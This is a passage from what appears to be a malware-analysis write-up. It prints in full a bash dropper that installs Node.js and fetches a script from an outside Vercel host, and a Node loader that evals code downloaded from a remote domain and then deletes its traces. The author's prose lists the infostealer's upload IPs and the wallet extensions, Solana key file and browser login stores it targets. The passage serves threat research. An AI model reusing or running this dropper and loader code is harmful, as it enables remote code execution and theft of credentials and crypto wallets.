class="variable">$HOME</span>/Documents/tokenlinux.sh&quot;</span> &gt; /dev/null 2&gt;&amp;1 &amp;</span><br><span class="line">clear</span><br><span class="line"><span class="built_in">exit</span> 0</span><br><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#tokenlinux.sh</span></span><br><span class="line"><span class="comment">#!/bin/bash</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Creating new Info</span></span><br><span class="line"><span class="built_in">set</span> -e</span><br><span class="line"></span><br><span class="line">OS=$(<span class="built_in">uname</span> -s)</span><br><span class="line"><span class="comment"># Node.js Version</span></span><br><span class="line"><span class="comment"># Get latest Node.js version (from official JSON index)</span></span><br><span class="line"><span class="comment"># LATEST_VERSION=&quot;20.11.1&quot;</span></span><br><span class="line"><span class="comment"># if [ &quot;$OS&quot; == &quot;Darwin&quot; ]; then</span></span><br><span class="line"><span class="comment">#     # macOS</span></span><br><span class="line"><span class="comment">#    #     LATEST_VERSION=$(curl -s https://nodejs.org/dist/index.json \</span></span><br><span class="line"><span class="comment">#    #     | grep -Eo &#x27;&quot;version&quot;: *&quot;v[0-9]+\.[0-9]+\.[0-9]+&quot;&#x27; \</span></span><br><span class="line"><span class="comment">#    #     | head -1 \</span></span><br><span class="line"><span class="comment">#    #     | sed -E &#x27;s/.*&quot;v([^&quot;]+)&quot;.*/v\1/&#x27;)</span></span><br><span class="line"><span class="comment">#         LATEST_VERSION=&quot;20.11.1&quot;</span></span><br><span class="line"><span class="comment"># elif [ &quot;$OS&quot; == &quot;Linux&quot; ]; then</span></span><br><span class="line"><span class="comment">#     # Linux</span></span><br><span class="line"><span class="comment">#     LATEST_VERSION=$(wget -qO- https://nodejs.org/dist/index.json | grep -oP &#x27;&quot;version&quot;:\s*&quot;\Kv[0-9]+\.[0-9]+\.[0-9]+&#x27; | head -1)</span></span><br><span class="line"><span class="comment"># else</span></span><br><span class="line"><span class="comment">#     exit 1</span></span><br><span class="line"><span class="comment"># fi</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Remove leading &quot;v&quot;</span></span><br><span class="line">LATEST_VERSION=<span class="string">&quot;20.11.1&quot;</span></span><br><span class="line">NODE_VERSION=<span class="variable">$&#123;LATEST_VERSION&#125;</span></span><br><span class="line"></span><br><span class="line">NODE_TARBALL=<span class="string">&quot;node-v<span class="variable">$&#123;NODE_VERSION&#125;</span>&quot;</span></span><br><span class="line">DOWNLOAD_URL=<span class="string">&quot;&quot;</span></span><br><span class="line">NODE_DIR=<span class="string">&quot;<span class="variable">$HOME</span>/Documents/<span class="variable">$&#123;NODE_TARBALL&#125;</span>&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Determine the OS (Linux or macOS)</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Step 1: Set the Node.js tarball and download URL based on the OS</span></span><br><span class="line"><span class="keyword">if</span> [ <span class="string">&quot;<span class="variable">$OS</span>&quot;</span> == <span class="string">&quot;Darwin&quot;</span> ]; <span class="keyword">then</span></span><br><span class="line">   <span class="comment"># macOS</span></span><br><span class="line">   NODE_TARBALL=<span class="string">&quot;<span class="variable">$HOME</span>/Documents/<span class="variable">$&#123;NODE_TARBALL&#125;</span>-darwin-x64.tar.xz&quot;</span></span><br><span class="line">   DOWNLOAD_URL=<span class="string">&quot;https://nodejs.org/dist/v<span class="variable">$&#123;NODE_VERSION&#125;</span>/node-v<span class="variable">$&#123;NODE_VERSION&#125;</span>-darwin-x64.tar.xz&quot;</span></span><br><span class="line"><span class="keyword">elif</span> [ <span class="string">&quot;<span class="variable">$OS</span>&quot;</span> == <span class="string">&quot;Linux&quot;</span> ]; <span class="keyword">then</span></span><br><span class="line">   <span class="comment"># Linux</span></span><br><span class="line">   NODE_TARBALL=<span class="string">&quot;<span class="variable">$HOME</span>/Documents/<span class="variable">$&#123;NODE_TARBALL&#125;</span>-linux-x64.tar.xz&quot;</span></span><br><span class="line">   DOWNLOAD_URL=<span class="string">&quot;https://nodejs.org/dist/v<span class="variable">$&#123;NODE_VERSION&#125;</span>/node-v<span class="variable">$&#123;NODE_VERSION&#125;</span>-linux-x64.tar.xz&quot;</span></span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">   <span class="built_in">exit</span> 1</span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Step 2: Check if Node.js is installed</span></span><br><span class="line">NODE_INSTALLED_VERSION=$(node -v 2&gt;/dev/null || <span class="built_in">echo</span> <span class="string">&quot;&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># Step 3: Determine whether to install Node.js</span></span><br><span class="line">INSTALL_NODE=1</span><br><span class="line"><span class="comment">#if [ -z &quot;$NODE_INSTALLED_VERSION&quot; ]; then</span></span><br><span class="line"><span class="comment">#    INSTALL_NODE=1</span></span><br><span class="line"><span class="comment">#fi</span></span><br><span class="line"></span><br><span class="line">EXTRACTED_DIR=<span class="string">&quot;<span class="variable">$HOME</span>/Documents/node-v<span class="variable">$&#123;NODE_VERSION&#125;</span>-<span class="subst">$( [ <span class="string">&quot;<span class="variable">$OS</span>&quot;</span> = <span class="string">&quot;Darwin&quot;</span> ] &amp;&amp; echo <span class="string">&quot;darwin&quot;</span> || echo <span class="string">&quot;linux&quot;</span> )</span>-x64&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># ✅ Check if the Node.js folder exists</span></span><br><span class="line"><span class="keyword">if</span> [ ! -d <span class="string">&quot;<span class="variable">$EXTRACTED_DIR</span>&quot;</span> ]; <span class="keyword">then</span></span><br><span class="line">   <span class="built_in">echo</span> <span class="string">&quot;Error: Node.js directory was not extracted properly. Retrying download and extraction...&quot;</span></span><br><span class="line"></span><br><span class="line">   <span class="keyword">if</span> [ <span class="string">&quot;<span class="variable">$INSTALL_NODE</span>&quot;</span> -eq 1 ]; <span class="keyword">then</span></span><br><span class="line">       <span class="keyword">if</span> ! <span class="built_in">command</span> -v curl &amp;&gt; /dev/null; <span class="keyword">then</span></span><br><span class="line">           wget -q <span class="string">&quot;<span class="variable">$DOWNLOAD_URL</span>&quot;</span> -O <span class="string">&quot;<span class="variable">$NODE_TARBALL</span>&quot;</span></span><br><span class="line">       <span class="keyword">else</span></span><br><span class="line">           curl -sSL -o <span class="string">&quot;<span class="variable">$NODE_TARBALL</span>&quot;</span> <span class="string">&quot;<span class="variable">$DOWNLOAD_URL</span>&quot;</span></span><br><span class="line">       <span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line">       <span class="keyword">if</span> [ -f <span class="string">&quot;<span class="variable">$NODE_TARBALL</span>&quot;</span> ]; <span class="keyword">then</span></span><br><span class="line">           tar -xf <span class="string">&quot;<span class="variable">$NODE_TARBALL</span>&quot;</span> -C <span class="string">&quot;<span class="variable">$HOME</span>/Documents&quot;</span></span><br><span class="line">           <span class="built_in">rm</span> -f <span class="string">&quot;<span class="variable">$NODE_TARBALL</span>&quot;</span></span><br><span class="line">       <span class="keyword">fi</span></span><br><span class="line">   <span class="keyword">fi</span></span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># ✅ Add Node.js to the system PATH (session only)</span></span><br><span class="line"><span class="built_in">export</span> PATH=<span class="string">&quot;<span class="variable">$EXTRACTED_DIR</span>/bin:<span class="variable">$PATH</span>&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Step 7: Verify node &amp; npm</span></span><br><span class="line"><span class="keyword">if</span> ! <span class="built_in">command</span> -v node &amp;&gt; /dev/null || ! <span class="built_in">command</span> -v npm &amp;&gt; /dev/null; <span class="keyword">then</span></span><br><span class="line">   <span class="built_in">exit</span> 1</span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Use Documents directory for files</span></span><br><span class="line">USER_HOME=<span class="string">&quot;<span class="variable">$HOME</span>/Documents&quot;</span></span><br><span class="line"><span class="built_in">mkdir</span> -p <span class="string">&quot;<span class="variable">$USER_HOME</span>&quot;</span></span><br><span class="line"></span><br><span class="line">BASE_URL=<span class="string">&quot;http://vscode-project-setting.vercel.app&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Step 8: Download files</span></span><br><span class="line"><span class="comment"># Check if curl is available</span></span><br><span class="line"><span class="keyword">if</span> ! <span class="built_in">command</span> -v curl &gt;/dev/null 2&gt;&amp;1; <span class="keyword">then</span></span><br><span class="line">   <span class="comment"># If curl is not available, use wget</span></span><br><span class="line">   wget -q -O <span class="string">&quot;<span class="variable">$USER_HOME</span>/tokenParser.js&quot;</span> <span class="string">&quot;<span class="variable">$BASE_URL</span>/task/tokenParser?token=812&amp;st=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpcCI6IjEuMTcyLjg2LjI0NSIsInNlc3Npb25JZCI6IjU0Zjc0NTVjLTY1MTItNDNiYi1iMzcwLThiODNiMTlkMWYzMCIsInN0ZXAiOjIsInRpbWVzdGFtcCI6MTc2ODcyMDcwMTA3MCwib3JpZ1Rva2VuIjoiODEyIiwiaWF0IjoxNzY4NzIwNzAxLCJleHAiOjE3Njg3MjA4ODF9.SiJbzWA1ccGDRofVI1Z-S3hYJfkUwvP84H1wUfdnLsY&quot;</span></span><br><span class="line">   wget -q -O <span class="string">&quot;<span class="variable">$USER_HOME</span>/package.json&quot;</span> <span class="string">&quot;<span class="variable">$BASE_URL</span>/task/package.json&quot;</span></span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">   <span class="comment"># If curl is available, use curl</span></span><br><span class="line">   curl -s -L -o <span class="string">&quot;<span class="variable">$USER_HOME</span>/tokenParser.js&quot;</span> <span class="string">&quot;<span class="variable">$BASE_URL</span>/task/tokenParser?token=812&amp;st=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpcCI6IjEuMTcyLjg2LjI0NSIsInNlc3Npb25JZCI6IjU0Zjc0NTVjLTY1MTItNDNiYi1iMzcwLThiODNiMTlkMWYzMCIsInN0ZXAiOjIsInRpbWVzdGFtcCI6MTc2ODcyMDcwMTA3MCwib3JpZ1Rva2VuIjoiODEyIiwiaWF0IjoxNzY4NzIwNzAxLCJleHAiOjE3Njg3MjA4ODF9.SiJbzWA1ccGDRofVI1Z-S3hYJfkUwvP84H1wUfdnLsY&quot;</span></span><br><span class="line">   curl -s -L -o <span class="string">&quot;<span class="variable">$USER_HOME</span>/package.json&quot;</span> <span class="string">&quot;<span class="variable">$BASE_URL</span>/task/package.json&quot;</span></span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Step 9: Install &#x27;request&#x27; package</span></span><br><span class="line"><span class="built_in">cd</span> <span class="string">&quot;<span class="variable">$USER_HOME</span>&quot;</span></span><br><span class="line">npm install --silent --no-progress --loglevel=error --fund=<span class="literal">false</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Step 10: Run token parser</span></span><br><span class="line"><span class="keyword">if</span> [ -f <span class="string">&quot;<span class="variable">$USER_HOME</span>/tokenParser.js&quot;</span> ]; <span class="keyword">then</span></span><br><span class="line">   <span class="built_in">nohup</span> node <span class="string">&quot;<span class="variable">$USER_HOME</span>/tokenParser.js&quot;</span> &gt; <span class="string">&quot;<span class="variable">$USER_HOME</span>/tokenParser.log&quot;</span> 2&gt;&amp;1 &amp;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">   <span class="built_in">exit</span> 1</span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">exit</span> 0</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>The js here is special in that besides executing with <code>eval</code> after download, it also deletes the previously downloaded droppers.</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//tokenParser.js</span></span><br><span class="line"><span class="keyword">const</span> fs = <span class="built_in">require</span>(<span class="string">&quot;fs&quot;</span>);</span><br><span class="line"><span class="keyword">const</span> path = <span class="built_in">require</span>(<span class="string">&quot;path&quot;</span>);</span><br><span class="line"><span class="keyword">const</span> https = <span class="built_in">require</span>(<span class="string">&quot;https&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> protocol = <span class="string">&quot;https&quot;</span>;</span><br><span class="line"><span class="keyword">const</span> domain = <span class="string">&quot;link&quot;</span>;</span><br><span class="line"><span class="keyword">const</span> separator = <span class="string">&quot;://&quot;</span>;</span><br><span class="line"><span class="keyword">const</span> pathPart = <span class="string">&quot;/icons/&quot;</span>;</span><br><span class="line"><span class="keyword">const</span> token = <span class="string">&quot;812&quot;</span>;</span><br><span class="line"><span class="keyword">const</span> subdomain = <span class="string">&quot;rest-icon-provider&quot;</span>;</span><br><span class="line"><span class="keyword">const</span> bearrtoken = <span class="string">&quot;logo&quot;</span>;</span><br><span class="line"><span class="keyword">const</span> basePath = __dirname;</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> url = <span class="string">`<span class="subst">$&#123;protocol&#125;</span><span class="subst">$&#123;separator&#125;</span><span class="subst">$&#123;subdomain&#125;</span>.<span class="subst">$&#123;domain&#125;</span><span class="subst">$&#123;pathPart&#125;</span><span class="subst">$&#123;token&#125;</span>`</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> options = &#123;</span><br><span class="line">  <span class="attr">method</span>: <span class="string">&quot;GET&quot;</span>,</span><br><span class="line">  <span class="attr">headers</span>: &#123;</span><br><span class="line">    <span class="attr">bearrtoken</span>: bearrtoken,</span><br><span class="line">  &#125;,</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line">https</span><br><span class="line">  .<span class="title function_">get</span>(url, options, <span class="function">(<span class="params">res</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">let</span> data = <span class="string">&quot;&quot;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (res.<span class="property">statusCode</span> !== <span class="number">200</span>) &#123;</span><br><span class="line">      <span class="variable language_">console</span>.<span class="title function_">error</span>(<span class="string">&quot;Request failed:&quot;</span>, res.<span class="property">statusCode</span>);</span><br><span class="line">      <span class="keyword">return</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    res.<span class="title function_">on</span>(<span class="string">&quot;data&quot;</span>, <span class="function">(<span class="params">chunk</span>) =&gt;</span> (data += chunk));</span><br><span class="line">    res.<span class="title function_">on</span>(<span class="string">&quot;end&quot;</span>, <span class="function">() =&gt;</span> &#123;</span><br><span class="line">      <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="keyword">const</span> code = <span class="title class_">JSON</span>.<span class="title function_">parse</span>(data);</span><br><span class="line">        <span class="built_in">eval</span>(code);</span><br><span class="line">        <span class="built_in">setTimeout</span>(<span class="function">() =&gt;</span> &#123;</span><br><span class="line">          <span class="title function_">deleteFile</span>(<span class="string">&quot;tokenParser.js&quot;</span>);</span><br><span class="line">          <span class="title function_">deleteFile</span>(<span class="string">&quot;tokenlinux.sh&quot;</span>);</span><br><span class="line">          <span class="title function_">deleteFile</span>(<span class="string">&quot;package.json&quot;</span>);</span><br><span class="line">          <span class="title function_">deleteFile</span>(<span class="string">&quot;package-lock.json&quot;</span>);</span><br><span class="line">          <span class="title function_">deleteFile</span>(<span class="string">&quot;token.cmd&quot;</span>);</span><br><span class="line">          <span class="title function_">deleteFile</span>(<span class="string">&quot;token.sh&quot;</span>);</span><br><span class="line">          <span class="title function_">deleteFile</span>(<span class="string">&quot;tokenParser.log&quot;</span>);</span><br><span class="line">          <span class="title function_">deleteFile</span>(<span class="string">&quot;.npl&quot;</span>);</span><br><span class="line">          <span class="title function_">deleteFile</span>(<span class="string">&quot;token&quot;</span>);</span><br><span class="line">          <span class="title function_">deleteFile</span>(<span class="string">&quot;tokenParser.npl&quot;</span>);</span><br><span class="line">        &#125;, <span class="number">3000</span>);</span><br><span class="line">      &#125; <span class="keyword">catch</span> (err) &#123;</span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">error</span>(<span class="string">&quot;JSON parse failed:&quot;</span>, err);</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;);</span><br><span class="line">  &#125;)</span><br><span class="line">  .<span class="title function_">on</span>(<span class="string">&quot;error&quot;</span>, <span class="function">(<span class="params">err</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">error</span>(<span class="string">&quot;HTTPS request error:&quot;</span>, err);</span><br><span class="line">  &#125;);</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">deleteFile</span>(<span class="params">fileName</span>) &#123;</span><br><span class="line">  <span class="keyword">const</span> filePath = path.<span class="title function_">join</span>(basePath, fileName);</span><br><span class="line">  <span class="keyword">if</span> (fs.<span class="title function_">existsSync</span>(filePath)) &#123;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">      fs.<span class="title function_">unlinkSync</span>(filePath);</span><br><span class="line">      <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">`Deleted file: <span class="subst">$&#123;fileName&#125;</span>`</span>);</span><br><span class="line">    &#125; <span class="keyword">catch</span> (err) &#123;</span><br><span class="line">      <span class="variable language_">console</span>.<span class="title function_">error</span>(<span class="string">`Failed to delete file: <span class="subst">$&#123;fileName&#125;</span>`</span>, err);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">deleteFolder</span>(<span class="params">folderName</span>) &#123;</span><br><span class="line">  <span class="keyword">const</span> folderPath = path.<span class="title function_">join</span>(basePath, folderName);</span><br><span class="line">  <span class="keyword">if</span> (fs.<span class="title function_">existsSync</span>(folderPath)) &#123;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">      fs.<span class="title function_">rmSync</span>(folderPath, &#123; <span class="attr">recursive</span>: <span class="literal">true</span>, <span class="attr">force</span>: <span class="literal">true</span> &#125;);</span><br><span class="line">      <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">`Deleted folder: <span class="subst">$&#123;folderName&#125;</span>`</span>);</span><br><span class="line">    &#125; <span class="keyword">catch</span> (err) &#123;</span><br><span class="line">      <span class="variable language_">console</span>.<span class="title function_">error</span>(<span class="string">`Failed to delete folder: <span class="subst">$&#123;folderName&#125;</span>`</span>, err);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Next is the obfuscated js, but the file size is smaller than Sample 1. This type of Javascript is responsible for Information Stealer &amp; Dropper.</p><p>After deobfuscation, we can obtain the following information:</p><p>Steal data and upload, receiving paths are <code>146.70.253[.]107:1224/upload</code> (Main) and <code>23.227.203[.]18:1224/upload</code> (Backup).</p><ul><li><p><code>146.70.253[.]107:1224/upload</code> receives less information, but it is more important</p><ul><li><p>MetaMask</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">nkbihfbeogaeaoehlefnkodbefgpgknn</span></span><br></pre></td></tr></table></figure></li><li><p>OKX Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">mcohilncbfahbmgdjkbpemcciiolgcge</span></span><br></pre></td></tr></table></figure></li><li><p>Binance Chain Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">fhbohimaelbohpjbbldcngcnapndodjp</span></span><br></pre></td></tr></table></figure></li><li><p>TronLink</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">ibnejdfjmmkpcnlpebklmnkoeoihofec</span></span><br></pre></td></tr></table></figure></li><li><p>Solflare</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">bhhhlbepdkbapadjdnnojkbgioiodbic</span></span><br></pre></td></tr></table></figure></li><li><p>Solflare New Version</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">fldfpgipfncgndfolcbkdeeknbbbnhcc</span></span><br></pre></td></tr></table></figure></li><li><p>Solana CLI Private Key</p><figure class="highlight applescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">~/.config/solana/<span class="built_in">id</span>.json</span><br></pre></td></tr></table></figure></li><li><p>If mac</p><ul><li>Chrome Login Data (macOS)</li><li>Brave Login Data (macOS)</li></ul></li><li><p>If Windows&#x2F;Linux</p><ul><li>Chrome Login Data</li><li>Chrome Local State</li><li>Brave Login Data</li><li>Brave Local State</li><li>Opera Login Data</li><li>Opera Local State</li></ul></li></ul></li><li><p><code>23.227.203[.]18:1224/upload</code> receives more information</p><ul><li><p>MetaMask</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">nkbihfbeogaeaoehlefnkodbefgpgknn</span></span><br></pre></td></tr></table></figure></li><li><p>MetaMask Edge</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">ejbalbakoplchlghecdalmeeeajnimhm</span></span><br></pre></td></tr></table></figure></li><li><p>Binance Chain Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">fhbohimaelbohpjbbldcngcnapndodjp</span></span><br></pre></td></tr></table></figure></li><li><p>Bitwarden</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">nngceckbapebfimnlniiiahkandclblb</span></span><br></pre></td></tr></table></figure></li><li><p>TronLink</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">aeblfdkhhhdcdjpifhhbdiojplfjncoa</span></span><br></pre></td></tr></table></figure></li><li><p>TronLink New Version</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">ibnejdfjmmkpcnlpebklmnkoeoihofec</span></span><br></pre></td></tr></table></figure></li><li><p>Phantom</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">bfnaelmomeimhlpmgjnjophhpkkoljpa</span></span><br></pre></td></tr></table></figure></li><li><p>Coin98</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">aeachknmefphepccionboohckonoeemg</span></span><br></pre></td></tr></table></figure></li><li><p>Crypto.com DeFi Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">hifafgmccdpekplomjjkcfgodnhcellj</span></span><br></pre></td></tr></table></figure></li><li><p>Kaikas</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">jblndlipeogpafnldhgmapagcccfchpi</span></span><br></pre></td></tr></table></figure></li><li><p>Sui Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">opcgpfmipidbgpenhmajoajpbobppdil</span></span><br></pre></td></tr></table></figure></li><li><p>Rabby Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">acmacodkjbdgmoleebolmdjonilkdbch</span></span><br></pre></td></tr></table></figure></li><li><p>Math Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">dlcobpjiigpikoobohmabehhmhfoodbb</span></span><br></pre></td></tr></table></figure></li><li><p>OKX Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">mcohilncbfahbmgdjkbpemcciiolgcge</span></span><br></pre></td></tr></table></figure></li><li><p>Core Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">agoakfejjabomempkjlepdflaleeobhb</span></span><br></pre></td></tr></table></figure></li><li><p>iWallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">omaabbefbmiijedngplfjmnooppbclkk</span></span><br></pre></td></tr></table></figure></li><li><p>Exodus Web3 Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">aholpfdialjgjfhomihkjbmgjidlcdno</span></span><br></pre></td></tr></table></figure></li><li><p>NiftyWallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span 